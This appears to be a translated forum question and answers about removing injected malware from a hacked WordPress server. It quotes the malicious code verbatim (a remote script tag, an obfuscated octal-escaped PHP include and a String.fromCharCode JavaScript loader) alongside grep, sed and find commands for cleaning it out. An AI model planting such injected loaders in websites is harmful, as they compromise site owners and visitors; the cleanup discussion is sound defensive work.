Also wurde mein ganzer Server gehackt oder bekam das Malware-Problem. Meine Website basiert auf WordPress und die meisten auf meinem Server gehosteten Websites basieren auf WordPress. Der Hacker fügte diese Codezeile jeder einzelnen Datei und Datenbank hinzu
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Ich habe es über grep mit gesucht
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Ich versuche, es in der gesamten Dateistruktur durch zu ersetzen, sed
und habe den folgenden Befehl geschrieben.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
Ich versuche zuerst, die Zeichenfolge in einer einzelnen Datei zu ersetzen index.php
, damit ich weiß, dass sie funktioniert.
und ich weiß, dass mein Code falsch ist. Bitte helfen Sie mir dabei.
Ich habe es mit dem @ Eran-Code versucht und er hat die gesamte Zeile gelöscht, was gut und wie erwartet ist. Der gesamte Jargon ist dies jedoch
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
Und während ich den gesamten Inhalt löschen möchte, möchte ich das PHP-Eröffnungs-Tag behalten <?php
.
Obwohl die Lösung von @ slybloty einfach ist und funktioniert hat.
So entfernen Sie den Code vollständig aus allen betroffenen Dateien. Ich führe die folgenden 3 Befehle aus. Vielen Dank an euch alle dafür.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- Entfernen der Skriptzeilefind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
- Um die@include
Linie zu entfernenfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- Um die Kommentarzeile zu entfernen
Außerdem habe ich alle 3 Befehle für erneut ausgeführt '*.html'
, da das Hacker-Skript in allen Verzeichnissen eine unerwünschte index.html erstellt hat. Ich war mir nicht sicher, ob das Löschen dieser index.html in großen Mengen der richtige Ansatz ist.
Jetzt muss ich noch die Junk-Dateien und Spuren davon herausfinden.
Das Hacker-Skript fügte auch den JS-Code hinzu.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Ich versuche zu sehen, ob ich sed
es auch kann.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
Die -l
Option gibt nur den Dateinamen und nicht den passenden Text an.
sed -i
. Erstellt beispielsweise sed -i.bak
eine *.bak
Datei für alle Dateien, die bearbeitet werden. Bei Verwendung mit der while...grep
Schleife sichern Sie nur Dateien, die diese Zeichenfolge enthalten. Entschuldigen Sie die zusätzlichen Kommentare, aber meiner Meinung nach ist Malware ein "All Hands on Deck" -Szenario.